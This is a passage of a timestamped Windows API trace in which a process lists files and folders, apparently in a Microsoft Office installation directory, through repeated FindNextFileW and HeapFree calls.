	[0076.585] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1
	[0076.589] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0076.589] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1
	[0076.589] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3edb9e8 | out: hHeap=0x500000) returned 1
	[0076.589] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1
	[0076.726] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0076.726] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0076.727] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0076.727] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0076.727] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0076.727] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1
	[0076.728] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0076.728] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1
	[0076.736] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb9e0 | out: hHeap=0x500000) returned 1
	[0076.736] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1
	[0076.825] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0076.825] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0076.827] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0076.827] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0076.833] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0076.833] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0076.835] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0076.835] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0076.841] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0076.841] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0076.843] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0076.843] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1
	[0076.849] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0076.849] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0076.851] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0076.851] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0076.859] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0076.859] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0076.862] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0076.862] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1
	[0076.865] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0076.865] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0077.504] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.505] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0077.846] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.846] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0077.847] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.847] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0077.849] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.849] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0077.850] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.850] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0077.852] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.852] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
	[0077.853] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.853] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa89f599, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6270fd0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6270fd0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it", cAlternateFileName="")) returned 1
	[0077.855] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.855] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x91adba5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x91adba5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja", cAlternateFileName="")) returned 1
	[0077.856] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.856] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd09866, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d2b978, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d2b978, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="kk", cAlternateFileName="")) returned 1
	[0077.858] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.858] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12b7378, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x5101cbd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko", cAlternateFileName="")) returned 1
	[0077.860] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.860] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x22f6470, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lt", cAlternateFileName="")) returned 1
	[0077.861] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.861] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x59f29de, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x59f29de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="lv", cAlternateFileName="")) returned 1
	[0077.863] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.863] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80afe67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80afe67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80afe67, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xee40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mashupcompression.dll", cAlternateFileName="MASHUP~1.DLL")) returned 1
	[0077.865] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.865] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl", cAlternateFileName="")) returned 1
	[0077.867] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.867] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="no", cAlternateFileName="")) returned 1
	[0077.870] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.870] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa879350, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa879350, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa8eba59, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6daa8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office.dll", cAlternateFileName="")) returned 1
	[0077.872] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.873] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6bfa6d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bfa6d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0077.877] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.877] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4ba375b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-pt", cAlternateFileName="")) returned 1
	[0077.879] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.879] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro", cAlternateFileName="")) returned 1
	[0077.883] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0077.883] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf71003, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf71003, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru", cAlternateFileName="")) returned 1
